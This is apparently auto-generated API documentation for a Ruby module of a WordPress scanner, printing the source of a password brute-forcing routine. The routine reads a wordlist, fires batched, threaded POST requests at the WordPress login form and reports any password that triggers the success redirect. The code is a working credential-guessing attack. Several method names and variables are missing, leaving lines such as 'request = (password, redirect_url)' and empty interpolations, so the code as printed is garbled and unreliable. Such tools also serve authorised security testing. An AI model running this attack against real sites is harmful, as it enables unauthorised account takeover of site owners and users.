Module: WpUser::BruteForcable

Included in:
WpUser
Defined in:
lib/common/models/wp_user/brute_forcable.rb

Instance Method Summary collapse

Instance Method Details

#brute_force(wordlist, options = {}, redirect_url = nil) ⇒ void

This method returns an undefined value.

Brute force the user with the wordlist supplied

It can take a long time to queue 2 million requests, for that reason, we queue browser.max_threads, send browser.max_threads, queue browser.max_threads and so on.

hydra.run only returns when it has recieved all of its, responses. This means that while we are waiting for browser.max_threads, responses, we are waiting…

Parameters:

  • wordlist (String)

    The wordlist path

  • options (Hash) (defaults to: {})
  • redirect_url (String) (defaults to: nil)

    Override for redirect_url

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)

23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/common/models/wp_user/brute_forcable.rb', line 23

def brute_force(wordlist, options = {}, redirect_url = nil)
  browser      = Browser.instance
  hydra        = browser.hydra
  queue_count  = 0
  found        = false
  progress_bar = self.progress_bar(count_file_lines(wordlist)+1, options)

  File.open(wordlist).each do |password|
    password.chomp!

    # A successfull login will redirect us to the redirect_to parameter
    # Generate a random one on each request
    unless redirect_url
      random = (0...8).map { 65.+(rand(26)).chr }.join
      redirect_url = "#@uri#{random}/"
    end

    request = (password, redirect_url)

    request.on_complete do |response|
      progress_bar.progress += 1 if options[:show_progression] && !found

      puts "\n  Trying Username : #{} Password : #{password}" if options[:verbose]

      if valid_password?(response, password, redirect_url, options)
        found         = true
        self.password = password
        return
      end
    end

    hydra.queue(request)
    queue_count += 1

    if queue_count >= browser.max_threads
      hydra.run
      queue_count = 0
      puts "Sent #{browser.max_threads} requests ..." if options[:verbose]
    end
  end

  # run all of the remaining requests
  hydra.run
  puts if options[:show_progression] # mandatory to avoid the output of the progressbar to be overriden
end

#login_request(password, redirect_url) ⇒ Typhoeus::Request

Parameters:

  • password (String)
  • redirect_url (String)

Returns:

  • (Typhoeus::Request)

89
90
91
92
93
94
95
# File 'lib/common/models/wp_user/brute_forcable.rb', line 89

def (password, redirect_url)
  Browser.instance.forge_request(,
    method: :post,
    body: { log: , pwd: password, redirect_to: redirect_url },
    cache_ttl: 0
  )
end

#progress_bar(passwords_size, options) ⇒ ProgressBar

:nocov:

Parameters:

  • targets_size (Integer)
  • options (Hash)

Returns:

  • (ProgressBar)

74
75
76
77
78
79
80
81
82
# File 'lib/common/models/wp_user/brute_forcable.rb', line 74

def progress_bar(passwords_size, options)
  if options[:show_progression]
    ProgressBar.create(
      format: '%t %a <%B> (%c / %C) %P%% %e',
      title: "  Brute Forcing '#{}'",
      total: passwords_size
    )
  end
end

#valid_password?(response, password, redirect_url, options = {}) ⇒ Boolean

Parameters:

  • response (Typhoeus::Response)
  • password (String)
  • redirect_url (String)
  • options (Hash) (defaults to: {})

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)

Returns:

  • (Boolean)

105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/common/models/wp_user/brute_forcable.rb', line 105

def valid_password?(response, password, redirect_url, options = {})
  if response.code == 302 && response.headers_hash && response.headers_hash['Location'] == redirect_url
    progression = "#{info('[SUCCESS]')} Login : #{} Password : #{password}\n\n"
    valid       = true
  elsif response.body =~ /login_error/i
    verbose = "\n  Incorrect login and/or password."
  elsif response.timed_out?
    progression = "#{critical('ERROR:')} Request timed out."
  elsif response.code == 0
    progression = "#{critical('ERROR:')} No response from remote server. WAF/IPS?"
  elsif response.code.to_s =~ /^50/
    progression = "#{critical('ERROR:')} Server error, try reducing the number of threads."
  else
    progression = "#{critical('ERROR:')} We received an unknown response for #{password}..."
    verbose     = critical("    Code: #{response.code}\n    Body: #{response.body}\n")
  end

  puts "\n  " + progression if progression && options[:show_progression]
  puts verbose if verbose && options[:verbose]

  valid || false
end